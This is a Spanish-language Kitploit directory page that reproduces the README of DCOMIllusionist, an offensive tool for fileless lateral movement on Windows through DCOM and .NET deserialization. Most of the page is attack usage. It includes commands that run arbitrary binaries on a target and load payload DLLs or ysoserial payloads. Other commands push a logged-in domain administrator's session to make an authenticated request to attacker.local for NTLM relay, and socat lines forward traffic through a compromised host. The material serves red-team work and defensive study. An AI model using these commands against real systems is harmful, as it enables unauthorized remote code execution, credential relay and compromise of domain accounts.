Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
DCOMIllusionist — Técnicas de movimiento lateral en memoria y sin archivos mediante DCOM a través de la deserialización de .Net | Kitploit
Herramientas/GitHubGitHub/synacktiv/dcomillusionist
Escalada de PrivilegiosExplotaciónMovimiento LateralPost-ExplotaciónPruebas de PenetraciónComando y ControlAutenticaciónRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads
GitHub
2833310hace 3 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
synacktiv/dcomillusionist

DCOMIllusionist

Técnicas de movimiento lateral en memoria y sin archivos mediante DCOM a través de la deserialización de .Net

Ver Repositorio
🎩✨🪄

DCOMIllusionist

Técnica de movimiento lateral sin archivos para Windows.

Introducción  •  Compilación  •  Uso  •  Detalles técnicos  •  Agradecimientos


Introducción

Esta herramienta permite la ejecución remota de código en una máquina Windows, si se dispone de privilegios administrativos. Aprovecha DCOM y el comportamiento de los servidores DCOM de .NET, que deserializan automáticamente los objetos entrantes. Esto hace posible ejecutar comandos arbitrarios o cargar DLL sin escribir en el disco.

Descubierto originalmente por James Forshaw como una técnica de escalada de privilegios, este método se adaptó para el movimiento lateral modificando de forma remota claves específicas del Registro. Además, admite la explotación entre sesiones a través de DCOM, lo que permite ejecutar comandos arbitrarios dentro de la sesión de otro usuario bajo el contexto de seguridad de dicha sesión.

Funciona en estaciones de trabajo y servidores, pero se requiere acceso de red entre la máquina objetivo y una máquina controlada por el atacante para que esta técnica funcione.

Más detalles en esta sección.

Compilación

Hay una versión publicada disponible, o se puede compilar manualmente:

PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

Uso

PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

[!IMPORTANT]
Se requiere acceso administrativo tanto en el host atacante (mediante un shell elevado) como en la máquina objetivo para usar esta herramienta correctamente.

Usage:
  DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Options:
  -h, --help                        Show this help message and exit
  -d, --debug                       Enable debug logging
  -t, --target <value>              Set the target hostname or IP
  -p, --port <value>                Set the target port (Default: 49765)
      --clsid <value>               Specify a CLSID (no curly braces)
      --appid <value>               Specify an AppID (no curly braces)
  -s, --session <value>             Provide a session identifier
   -l --listen <host>               Specify listener FQDN or IP
  -g, --gadget <value>              Specify gadget to use
      --attacker-sid <value>        Set the attacker's SID
      --no-port-check               Disable port availability check
      --restore-backup <path>       Restore registry from backup
      --local-registry-only         Only performs local registry modifications
      --remote-registry-only        Only performs remote registry modifications
      --skip-local-registry-setup   Skip local registry setup
      --skip-remote-registry-setup  Skip remote registry setup
      --hku                         Perform remote registry operations on HKCU instead of HKLM
      --fake-clsid                  Create fake CLSID with fake AppId

Attacks:
      --ps-exec <args>              Execute a command remotely using PSExec
      --exec <cmd>                  Execute a command remotely
      --exec-args <args>            Args to pass to the command
      --curl <url>                  Use curl-style web request payload
      --file-write-src <src>        File to write
      --file-write-dst <dst>        Destination path
      --load-dll <path>             Load a DLL into the remote process
      --dll-class <value>           Class in the DLL to execute (including namespace)
      --dll-method <value>          Static Method in the class to execute (Default: Run)
      --yso-b64 <b64>               Execute base64-encoded ysoserial payload
      --test-network                Check network access from target to attacker machine
      --list-sessions               List interactive sessions on the target

Examples:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge           (Default)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider   (Default)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings                            (Interactive user)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory                               (Interactive user)

--session

Como se explicó anteriormente, se puede especificar una sesión para ejecutar comandos arbitrarios en la sesión de otro usuario.

[!WARNING] Esto solo funciona con AppIDs configurados para ejecutarse con la identidad del usuario interactivo. Esto se gestiona automáticamente, no es necesario especificar el argumento --appid, ya que la herramienta usará por defecto el AppID asociado con User Account Control Settings.

[!IMPORTANT] Solo funciona si la máquina atacante está unida a un dominio; más detalles aquí.

--list-sessions

Enumera las sesiones interactivas y activas remotas en el objetivo mediante WTSEnumerateSessions.

--listen

Si la máquina objetivo no puede alcanzar directamente el host del atacante, el exploit fallará. Sin embargo, es posible especificar una máquina intermedia a la que el objetivo pueda conectarse. Utilizando herramientas como socat, el tráfico se puede reenviar desde este intermediario hasta el host del atacante.

escucha

  • En la máquina comprometida:
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
  • En la máquina del atacante:
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

--attacker-sid

Al ejecutar el exploit desde un shell runas /netonly, la identidad asociada no se puede recuperar automáticamente. Por lo tanto, es necesario proporcionarla explícitamente mediante la opción --attacker-sid para que el ataque tenga éxito.

--exec

--exec se puede usar junto con --exec-args para ejecutar binarios arbitrarios en el objetivo:

PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

[!NOTE] --ps-exec es solo un envoltorio para eso; se puede lograr lo mismo con: --ps-exec calc

--curl

Curl puede ser útil en escenarios de explotación entre sesiones. Si se dispone de privilegios administrativos en una máquina y, por ejemplo, un administrador de dominio está activo en la sesión 3, es posible iniciar una solicitud HTTP autenticada, puramente a través de .NET, en nombre de ese usuario. Al dirigir esta solicitud a una máquina controlada por el atacante que ejecute ntlmrelayx.py, se pueden realizar ataques tradicionales de relay NTLM para comprometer al usuario.

PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local

--load-dll

Descargar herramienta